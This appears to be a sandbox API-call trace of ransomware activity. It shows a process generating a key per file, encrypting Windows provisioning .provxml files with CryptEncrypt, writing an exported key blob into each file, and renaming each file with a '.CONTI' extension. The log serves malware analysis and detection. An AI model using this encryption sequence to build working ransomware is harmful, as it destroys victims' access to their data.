	[0110.775] WriteFile (in: hFile=0x2ec, lpBuffer=0x6568174*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6568174*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.777] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.777] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d2, lpOverlapped=0x0) returned 1
	[0110.777] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d2, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0110.777] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.777] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.778] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.778] WriteFile (in: hFile=0x2ec, lpBuffer=0x6568168*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6568168*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.778] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.778] CloseHandle (hObject=0x2ec) returned 1
	[0110.778] GetProcessHeap () returned 0x1720000
	[0110.778] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.778] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml"
	[0110.778] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml.CONTI"
	[0110.778] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\350__Connections_Cellular_SFR (Réunion) (France)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\350__connections_cellular_sfr (réunion) (france)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0110.779] GetProcessHeap () returned 0x1720000
	[0110.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.779] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0110.779] GetProcessHeap () returned 0x1720000
	[0110.779] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561968 | out: hHeap=0x1720000) returned 1
	[0110.779] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.779] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6568600 | out: phKey=0x6568600*=0x17c7b70) returned 1
	[0110.779] CryptExportKey (in: hKey=0x17c7b70, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6568604, pdwDataLen=0x433f9bc | out: pbData=0x6568604*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.780] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0110.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.780] GetLastError () returned 0x0
	[0110.780] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=710) returned 1
	[0110.780] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0110.780] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.780] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.781] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.781] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.781] WriteFile (in: hFile=0x2ec, lpBuffer=0x6568604*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6568604*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0110.786] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.786] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c6, lpOverlapped=0x0) returned 1
	[0110.786] CryptEncrypt (in: hKey=0x17c7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c6, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0110.786] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.786] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.786] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.786] WriteFile (in: hFile=0x2ec, lpBuffer=0x65685f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65685f8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0110.786] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.786] CloseHandle (hObject=0x2ec) returned 1
	[0110.786] GetProcessHeap () returned 0x1720000
	[0110.786] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.786] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml"
	[0110.787] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml.CONTI"
	[0110.787] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\351__Connections_Cellular_SFR (Réunion) (France)_i3$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\351__connections_cellular_sfr (réunion) (france)_i3$(__mvid)@wap.provxml.conti")) returned 1
	[0110.787] GetProcessHeap () returned 0x1720000
	[0110.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.787] CryptDestroyKey (hKey=0x17c7b70) returned 1
	[0110.787] GetProcessHeap () returned 0x1720000
	[0110.787] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6561ac0 | out: hHeap=0x1720000) returned 1
	[0110.787] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0110.787] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6568848 | out: phKey=0x6568848*=0x17c78b0) returned 1
	[0110.787] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x656884c, pdwDataLen=0x433f9bc | out: pbData=0x656884c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0110.788] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.788] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0110.789] GetLastError () returned 0x0
	[0110.789] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=788) returned 1
	[0110.789] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x314
	[0110.789] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.789] SetEndOfFile (hFile=0x2ec) returned 1
	[0110.789] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.789] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.789] WriteFile (in: hFile=0x2ec, lpBuffer=0x656884c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x656884c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.087] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.087] ReadFile (in: hFile=0x2ec, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x314, lpOverlapped=0x0) returned 1
	[0111.087] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x314, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x320) returned 1
	[0111.087] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.087] WriteFile (in: hFile=0x2ec, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x320, lpOverlapped=0x0) returned 1
	[0111.088] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.088] WriteFile (in: hFile=0x2ec, lpBuffer=0x6568840*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6568840*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.088] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.088] CloseHandle (hObject=0x2ec) returned 1
	[0111.088] GetProcessHeap () returned 0x1720000
	[0111.088] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.192] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml"
	[0111.192] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.192] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\353__Connections_Cellular_Vodafone RO (Romania)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\353__connections_cellular_vodafone ro (romania)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.193] GetProcessHeap () returned 0x1720000
	[0111.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.193] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0111.193] GetProcessHeap () returned 0x1720000
	[0111.193] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656d2d0 | out: hHeap=0x1720000) returned 1
	[0111.193] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0111.193] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6513bf8 | out: phKey=0x6513bf8*=0x17c78b0) returned 1
	[0111.193] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513bfc, pdwDataLen=0x433f9bc | out: pbData=0x6513bfc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0111.194] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.194] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0111.194] GetLastError () returned 0x0
	[0111.194] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=793) returned 1
	[0111.194] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x319
	[0111.194] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.194] SetEndOfFile (hFile=0x3a8) returned 1
	[0111.194] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.194] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.194] WriteFile (in: hFile=0x3a8, lpBuffer=0x6513bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6513bfc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0111.436] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.437] ReadFile (in: hFile=0x3a8, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x319, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x319, lpOverlapped=0x0) returned 1
	[0111.437] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x319, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x320) returned 1
	[0111.437] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.437] WriteFile (in: hFile=0x3a8, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x320, lpOverlapped=0x0) returned 1
	[0111.437] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.437] WriteFile (in: hFile=0x3a8, lpBuffer=0x6513bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6513bf0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0111.437] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.437] CloseHandle (hObject=0x3a8) returned 1
	[0111.437] GetProcessHeap () returned 0x1720000
	[0111.437] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b62048
	[0111.699] lstrcpyW (in: lpString1=0x6b62048, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml"
	[0111.699] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.699] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\38__connections_cellular_jllc mobile telesystems (belarus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.706] GetProcessHeap () returned 0x1720000
